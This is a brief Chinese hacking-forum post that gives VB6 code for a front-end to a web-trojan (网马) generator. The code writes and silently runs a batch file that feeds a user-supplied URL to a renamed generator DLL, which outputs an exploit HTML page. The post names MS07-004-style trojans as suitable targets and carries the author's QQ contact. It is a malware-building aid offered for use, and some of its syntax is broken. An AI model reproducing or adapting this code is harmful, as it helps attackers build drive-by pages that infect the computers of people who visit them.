VB6.0做特别版网马

On Error Resume Next
S = CurDir
If Right(S, 1) <> "/" Then
S = S & "/"
End If
Open S & "muma.bat" For Output As #1
Print #1, ":redel"   //批处理的写法
Print #1, "temp.dll " & Text1.Text & " 004.htm" //在这里把DOS下的网马生成器改成dll，用来调用
Close #1
Shell Chr(34) & S & "muma.bat" & Chr(34), vbHide
Shell "Rundll32.exe url.dll, FileProtocolHandler /muma.bat"
MsgBox "写入配置成功" + vbCrLf + "qq:605382" + vbCrLf + "1", 64, "灵魂追随者"
很多才学编程的新手，不会写程序调用，今天就发出来给大家参考参考，其实很简单，比如像Ms07004这类的网马，直接调用既可，请看上述代码，就可以了！